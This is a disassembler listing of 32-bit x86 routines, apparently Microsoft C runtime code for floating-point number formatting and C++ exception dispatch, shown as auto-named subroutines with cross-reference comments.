loc_417F0B: ; CODE XREF: sub_417E92+73j test ebx, ebx jle short loc_417F23 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4379C0 mov eax, edi pop edi mov [eax], cl loc_417F23: ; CODE XREF: sub_417E92+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_742290, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_414FB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_417F4A mov byte ptr [ecx], 45h loc_417F4A: ; CODE XREF: sub_417E92+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_417F8F mov ebx, [esi+4] dec ebx jns short loc_417F5E neg ebx mov byte ptr [ecx], 2Dh loc_417F5E: ; CODE XREF: sub_417E92+C5j inc ecx cmp ebx, 64h jl short loc_417F75 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_417F75: ; CODE XREF: sub_417E92+D0j inc ecx cmp ebx, 0Ah jl short loc_417F8C mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_417F8C: ; CODE XREF: sub_417E92+E7j add [ecx+1], bl loc_417F8F: ; CODE XREF: sub_417E92+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_417E92 endp ; =============== S U B R O U T I N E ======================================= sub_417F96 proc near ; CODE XREF: sub_418136+13p ; sub_418159+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_742290, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_417FD1 mov eax, dword_742294 mov ebx, [esp+10h+arg_8] mov esi, dword_74228C cmp eax, ebx jnz short loc_418001 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_418001 ; --------------------------------------------------------------------------- loc_417FD1: ; CODE XREF: sub_417F96+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41BC28 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41BBB1 add esp, 14h loc_418001: ; CODE XREF: sub_417F96+22j ; sub_417F96+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41800F mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41800F: ; CODE XREF: sub_417F96+70j mov eax, [esi+4] test eax, eax jg short loc_418026 push 1 push edi call sub_4181AA pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_418028 ; --------------------------------------------------------------------------- loc_418026: ; CODE XREF: sub_417F96+7Ej add edi, eax loc_418028: ; CODE XREF: sub_417F96+8Ej test ebx, ebx jle short loc_41806D push 1 push edi call sub_4181AA mov al, byte_4379C0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41806D cmp byte_742290, 0 jz short loc_418052 neg esi jmp short loc_418058 ; --------------------------------------------------------------------------- loc_418052: ; CODE XREF: sub_417F96+B6j neg esi cmp ebx, esi jl short loc_41805A loc_418058: ; CODE XREF: sub_417F96+BAj mov ebx, esi loc_41805A: ; CODE XREF: sub_417F96+C0j push ebx push edi call sub_4181AA push ebx push 30h push edi call sub_413890 add esp, 14h loc_41806D: ; CODE XREF: sub_417F96+94j ; sub_417F96+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_417F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418074 proc near ; CODE XREF: sub_418159+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41BC28 mov dword_74228C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_742294, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41BBB1 mov eax, dword_74228C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_742294, ecx setl cl mov byte_742298, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_742294, eax jl short loc_4180FA cmp eax, ebx jge short loc_4180FA test cl, cl jz short loc_4180EB loc_4180E1: ; CODE XREF: sub_418074+72j mov al, [esi] inc esi test al, al jnz short loc_4180E1 and [esi-2], al loc_4180EB: ; CODE XREF: sub_418074+6Bj push ebx push [ebp+arg_4] push edi call sub_418136 add esp, 0Ch jmp short loc_41810A ; --------------------------------------------------------------------------- loc_4180FA: ; CODE XREF: sub_418074+63j ; sub_418074+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41810F add esp, 10h loc_41810A: ; CODE XREF: sub_418074+84j pop edi pop esi pop ebx pop ebp retn sub_418074 endp ; =============== S U B R O U T I N E ======================================= sub_41810F proc near ; CODE XREF: sub_418074+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_742290, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_417E92 and byte_742290, 0 add esp, 10h retn sub_41810F endp ; =============== S U B R O U T I N E ======================================= sub_418136 proc near ; CODE XREF: sub_418074+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_742290, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_417F96 and byte_742290, 0 add esp, 0Ch retn sub_418136 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418159 proc near ; CODE XREF: sub_416065+3AAp ; DATA XREF: sub_414095o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_418194 cmp [ebp+arg_8], 45h jz short loc_418194 cmp [ebp+arg_8], 66h jnz short loc_418181 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_417F96 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_418181: ; CODE XREF: sub_418159+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_418074 jmp short loc_4181A5 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_418159+7j ; sub_418159+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_417E92 loc_4181A5: ; CODE XREF: sub_418159+39j add esp, 10h pop ebp retn sub_418159 endp ; =============== S U B R O U T I N E ======================================= sub_4181AA proc near ; CODE XREF: sub_417E92+2Cp ; sub_417F96+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4181CD push esi mov esi, [esp+8+arg_0] push esi call sub_413E90 inc eax push eax push esi add esi, edi push esi call sub_4145D0 add esp, 10h pop esi loc_4181CD: ; CODE XREF: sub_4181AA+7j pop edi retn sub_4181AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181CF proc near ; CODE XREF: .text:00414278p ; sub_4142E1+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4181E5 call sub_418A72 loc_4181E5: ; CODE XREF: sub_4181CF+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41820D cmp dword ptr [esi+4], 0 jz short loc_418263 cmp [ebp+arg_14], 0 jnz short loc_418263 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_418516 add esp, 10h jmp short loc_418263 ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181CF+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_418263 cmp dword ptr [eax], 0E06D7363h jnz short loc_418247 cmp [eax+14h], edi jbe short loc_418247 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_418247 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_418266 ; --------------------------------------------------------------------------- loc_418247: ; CODE XREF: sub_4181CF+4Aj ; sub_4181CF+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41826A add esp, 20h loc_418263: ; CODE XREF: sub_4181CF+23j ; sub_4181CF+29j ... push 1 pop eax loc_418266: ; CODE XREF: sub_4181CF+76j pop edi pop esi pop ebp retn sub_4181CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41826A proc near ; CODE XREF: sub_4181CF+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41828A mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41828F loc_41828A: ; CODE XREF: sub_41826A+16j call sub_418A72 loc_41828F: ; CODE XREF: sub_41826A+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4183E6 cmp dword ptr [esi+10h], 3 jnz short loc_418303 cmp [esi+14h], edi jnz short loc_418303 cmp dword ptr [esi+1Ch], 0 jnz short loc_418303 mov esi, dword_74229C test esi, esi jz loc_4183E1 mov eax, dword_7422A0 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41BDAF pop ecx test eax, eax pop ecx jnz short loc_4182E5 call sub_418A72 loc_4182E5: ; CODE XREF: sub_41826A+74j cmp [esi], ebx jnz loc_4183E6 cmp dword ptr [esi+10h], 3 jnz short loc_418303 cmp [esi+14h], edi jnz short loc_418303 cmp dword ptr [esi+1Ch], 0 jnz short loc_418303 call sub_418A72 loc_418303: ; CODE XREF: sub_41826A+41j ; sub_41826A+46j ... cmp [esi], ebx jnz loc_4183E6 cmp dword ptr [esi+10h], 3 jnz loc_4183E6 cmp [esi+14h], edi jnz loc_4183E6 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41442F add esp, 14h mov ebx, eax loc_41833A: ; CODE XREF: sub_41826A+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4183D1 cmp [ebx], edi jg short loc_4183C6 cmp edi, [ebx+4] jg short loc_4183C6 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4183C3 loc_41835F: ; CODE XREF: sub_41826A+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_418390 loc_418371: ; CODE XREF: sub_41826A+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4184B9 add esp, 0Ch test eax, eax jnz short loc_41839F dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_418371 loc_418390: ; CODE XREF: sub_41826A+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41835F jmp short loc_4183C3 ; --------------------------------------------------------------------------- loc_41839F: ; CODE XREF: sub_41826A+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4185CA add esp, 2Ch loc_4183C3: ; CODE XREF: sub_41826A+F3j ; sub_41826A+133j mov edi, [ebp+var_10] loc_4183C6: ; CODE XREF: sub_41826A+DEj ; sub_41826A+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41833A ; --------------------------------------------------------------------------- loc_4183D1: ; CODE XREF: sub_41826A+D6j cmp [ebp+arg_14], 0 jz short loc_4183E1 push 1 push esi call sub_41893F pop ecx pop ecx loc_4183E1: ; CODE XREF: sub_41826A+56j ; sub_41826A+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4183E6: ; CODE XREF: sub_41826A+37j ; sub_41826A+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41840C push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_418411 add esp, 20h jmp short loc_4183E1 ; --------------------------------------------------------------------------- loc_41840C: ; CODE XREF: sub_41826A+180j jmp sub_418A1C sub_41826A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418411 proc near ; CODE XREF: sub_41826A+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_7422A4, 0 push esi push edi jz short loc_418442 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_414306 add esp, 1Ch test eax, eax jnz short loc_4184B5 loc_418442: ; CODE XREF: sub_418411+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41442F add esp, 14h mov esi, eax loc_41845E: ; CODE XREF: sub_418411+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_4184B5 cmp edi, [esi] jl short loc_4184AD cmp edi, [esi+4] jg short loc_4184AD mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_418487 cmp byte ptr [ecx+8], 0 jnz short loc_4184AD loc_418487: ; CODE XREF: sub_418411+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4185CA add esp, 2Ch loc_4184AD: ; CODE XREF: sub_418411+57j ; sub_418411+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41845E ; --------------------------------------------------------------------------- loc_4184B5: ; CODE XREF: sub_418411+2Fj ; sub_418411+53j pop edi pop esi leave retn sub_418411 endp ; =============== S U B R O U T I N E ======================================= sub_4184B9 proc near ; CODE XREF: sub_41826A+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_418510 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_418510 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4184EA add ecx, 8 push ecx push edx call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_41850C loc_4184EA: ; CODE XREF: sub_4184B9+1Fj test byte ptr [esi], 2 jz short loc_4184F4 test byte ptr [edi], 8 jz short loc_41850C loc_4184F4: ; CODE XREF: sub_4184B9+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_418503 test byte ptr [edi], 1 jz short loc_41850C loc_418503: ; CODE XREF: sub_4184B9+43j test al, 2 jz short loc_418510 test byte ptr [edi], 2 jnz short loc_418510 loc_41850C: ; CODE XREF: sub_4184B9+2Fj ; sub_4184B9+39j ... xor eax, eax jmp short loc_418513 ; --------------------------------------------------------------------------- loc_418510: ; CODE XREF: sub_4184B9+Bj ; sub_4184B9+14j ... push 1 pop eax loc_418513: ; CODE XREF: sub_4184B9+55j pop edi pop esi retn sub_4184B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418516 proc near ; CODE XREF: sub_4181CF+34p ; sub_4185CA+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F7F0 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_418548: ; CODE XREF: sub_418516+8Aj cmp esi, [ebp+arg_C] jz short loc_4185A2 cmp esi, 0FFFFFFFFh jle short loc_418557 cmp esi, [edi+4] jl short loc_41855C loc_418557: ; CODE XREF: sub_418516+3Aj call sub_418A72 loc_41855C: ; CODE XREF: sub_418516+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_418577 push 103h push ebx push eax call sub_4189D0 loc_418577: ; CODE XREF: sub_418516+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_418597 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4185B4 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_418597: ; CODE XREF: sub_418516+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_418548 ; --------------------------------------------------------------------------- loc_4185A2: ; CODE XREF: sub_418516+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_418516 endp ; =============== S U B R O U T I N E ======================================= sub_4185B4 proc near ; CODE XREF: sub_418516+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4185C5 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4185C5: ; CODE XREF: sub_4185B4+Cj jmp sub_418A1C sub_4185B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185CA proc near ; CODE XREF: sub_41826A+151p ; sub_418411+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4185EC push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41877B add esp, 10h loc_4185EC: ; CODE XREF: sub_4185CA+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4185F8 push edi jmp short loc_4185FB ; --------------------------------------------------------------------------- loc_4185F8: ; CODE XREF: sub_4185CA+29j push [ebp+arg_24] loc_4185FB: ; CODE XREF: sub_4185CA+2Cj call sub_414208 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_418516 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_418645 add esp, 2Ch test eax, eax jz short loc_418640 push edi push eax call sub_4141C6 loc_418640: ; CODE XREF: sub_4185CA+6Dj pop edi pop esi pop ebx pop ebp retn sub_4185CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418645 proc near ; CODE XREF: sub_4185CA+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F800 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_74229C mov [ebp+var_1C], ecx mov ecx, dword_7422A0 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_74229C, edi mov ecx, [ebp+arg_8] mov dword_7422A0, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41428D add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41870B mov eax, [ebp+var_2C] loc_4186D2: ; CODE XREF: sub_4186EB+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_418645 endp ; =============== S U B R O U T I N E ======================================= sub_4186E1 proc near ; DATA XREF: zugr1819:0041F810o push dword ptr [ebp-14h] call sub_418751 pop ecx retn sub_4186E1 endp ; =============== S U B R O U T I N E ======================================= sub_4186EB proc near ; DATA XREF: zugr1819:0041F814o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4144EE pop ecx pop ecx xor eax, eax jmp short loc_4186D2 sub_4186EB endp ; --------------------------------------------------------------------------- loc_418703: ; DATA XREF: zugr1819:0041F808o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41870B proc near ; CODE XREF: sub_418645+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_74229C, eax mov eax, [ebp-20h] mov dword_7422A0, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_418750 cmp dword ptr [edi+10h], 3 jnz short locret_418750 cmp dword ptr [edi+14h], 19930520h jnz short locret_418750 cmp [ebp-24h], ebx jnz short locret_418750 cmp [ebp-2Ch], ebx jz short locret_418750 call sub_414556 push eax push edi call sub_41893F pop ecx pop ecx locret_418750: ; CODE XREF: sub_41870B+1Cj ; sub_41870B+22j ... retn sub_41870B endp ; =============== S U B R O U T I N E ======================================= sub_418751 proc near ; CODE XREF: sub_4186E1+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_418778 cmp dword ptr [eax+10h], 3 jnz short loc_418778 cmp dword ptr [eax+14h], 19930520h jnz short loc_418778 cmp dword ptr [eax+1Ch], 0 jnz short loc_418778 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418778: ; CODE XREF: sub_418751+Cj ; sub_418751+12j ... xor eax, eax retn sub_418751 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41877B proc near ; CODE XREF: sub_4185CA+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F818 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_418924 cmp byte ptr [eax+8], 0 jz loc_418924 mov eax, [ecx+8] test eax, eax jz loc_418924 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_418818 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41BDAF pop ecx pop ecx test eax, eax jz loc_41891B push 1 push edi call sub_41BDCB pop ecx pop ecx test eax, eax jz loc_41891B mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_418809: ; CODE XREF: sub_41877B+F5j push eax call sub_4189A6 pop ecx pop ecx mov [edi], eax jmp loc_418920 ; --------------------------------------------------------------------------- loc_418818: ; CODE XREF: sub_41877B+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_418872 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41BDAF pop ecx pop ecx test eax, eax jz loc_41891B push 1 push edi call sub_41BDCB pop ecx pop ecx test eax, eax jz loc_41891B push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4145D0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_418920 mov eax, [edi] test eax, eax jz loc_418920 add esi, 8 push esi jmp short loc_418809 ; --------------------------------------------------------------------------- loc_418872: ; CODE XREF: sub_41877B+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_4188BA call sub_41BDAF pop ecx pop ecx test eax, eax jz loc_41891B push 1 push edi call sub_41BDCB pop ecx pop ecx test eax, eax jz short loc_41891B push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4189A6 pop ecx pop ecx push eax push edi call sub_4145D0 add esp, 0Ch jmp short loc_418920 ; --------------------------------------------------------------------------- loc_4188BA: ; CODE XREF: sub_41877B+103j call sub_41BDAF pop ecx pop ecx test eax, eax jz short loc_41891B push 1 push edi call sub_41BDCB pop ecx pop ecx test eax, eax jz short loc_41891B push dword ptr [esi+18h] call sub_41BDE7 pop ecx test eax, eax jz short loc_41891B test byte ptr [esi], 4 jz short loc_418901 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4189A6 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_414201 jmp short loc_418920 ; --------------------------------------------------------------------------- loc_418901: ; CODE XREF: sub_41877B+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4189A6 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4141FA jmp short loc_418920 ; --------------------------------------------------------------------------- loc_41891B: ; CODE XREF: sub_41877B+6Aj ; sub_41877B+7Cj ... call sub_418A72 loc_418920: ; CODE XREF: sub_41877B+98j ; sub_41877B+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_418924: ; CODE XREF: sub_41877B+2Ej ; sub_41877B+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41877B endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_418A1C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41893F proc near ; CODE XREF: sub_41826A+170p ; sub_41870B+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F828 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_418986 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_418986 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_4141FA or [ebp+var_4], 0FFFFFFFFh loc_418986: ; CODE XREF: sub_41893F+2Aj ; sub_41893F+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41893F endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_418A1C ; =============== S U B R O U T I N E ======================================= sub_4189A6 proc near ; CODE XREF: sub_41877B+8Fp ; sub_41877B+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_4189C7 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_4189C7: ; CODE XREF: sub_4189A6+12j pop esi retn sub_4189A6 endp ; --------------------------------------------------------------------------- align 10h ; =============== 